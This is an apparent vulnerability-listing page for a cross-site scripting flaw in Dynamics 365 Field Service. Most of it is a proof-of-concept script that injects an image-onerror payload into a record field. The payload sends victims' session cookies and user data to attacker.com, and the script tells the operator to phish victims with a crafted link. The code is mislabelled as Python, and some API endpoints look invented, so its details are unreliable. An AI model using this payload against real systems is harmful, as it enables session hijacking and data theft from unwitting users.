Improper neutralization of input during web page generation ('cross-site scripting') in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network.
Microsoft Dynamics 365 Field Service (online) - 所有未安装KB5021234或后续安全更新的版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62211 PoC - Microsoft Dynamics 365 Field Service XSS
// This PoC demonstrates the XSS vulnerability in Dynamics 365 Field Service
// Note: This is for educational and authorized testing purposes only
const axios = require('axios');
// Configuration
const TARGET_URL = 'https://your-org.crm.dynamics.com';
const ATTACKER_TOKEN = 'your-low-privilege-access-token';
// XSS Payload - Malicious JavaScript to steal session data
const xssPayload = `
<img src=x onerror="
fetch('https://attacker.com/steal?cookie=' + document.cookie + '&data=' + btoa(JSON.stringify({url: location.href, user: typeof UserContext !== 'undefined' ? UserContext : 'unknown'})))
">
`;
// Step 1: Authenticate with low-privilege account
async function authenticate() {
const response = await axios.post(`${TARGET_URL}/api/auth/login`, {
username: '[email protected]',
password: 'user-password'
});
return response.data.access_token;
}
// Step 2: Inject XSS payload into Dynamics 365 Field Service record
async function injectPayload(accessToken) {
// Target: Field Service Work Order or Asset record
const headers = {
'Authorization': `Bearer ${accessToken}`,
'Content-Type': 'application/json'
};
// Create or update a Field Service record with XSS payload
const maliciousRecord = {
'msdyn_name': 'Test Asset', // Asset name field - injectable
'msdyn_description': xssPayload, // Description field with XSS
'msdyn_fieldtype': 'vulnerable-field'
};
const response = await axios.post(
`${TARGET_URL}/api/data/v9.2/msdyn_fieldservicerecords`,
maliciousRecord,
{ headers }
);
console.log('Malicious record created:', response.data);
return response.data.id;
}
// Step 3: Generate social engineering link for victim
function generateAttackLink(recordId) {
// Link that will display the record containing XSS payload
return `${TARGET_URL}/main.aspx?etn=msdyn_fieldservicerecord&id=${recordId}&pagetype=entityrecord`;
}
// Main execution
(async () => {
try {
console.log('[*] Starting CVE-2025-62211 exploitation...');
const token = await authenticate();
console.log('[+] Authenticated successfully');
const recordId = await injectPayload(token);
console.log('[+] XSS payload injected into record:', recordId);
const attackLink = generateAttackLink(recordId);
console.log('[+] Attack link for victim:', attackLink);
console.log('[+] Send this link to victim via phishing email');
console.log('[*] When victim visits the link, XSS will execute and steal their session data');
} catch (error) {
console.error('[-] Error:', error.message);
}
})();
// Exploitation impact:
// 1. Session hijacking via document.cookie theft
// 2. Credential theft via keylogger injection
// 3. Data exfiltration from Dynamics 365
// 4. Actions performed in victim's context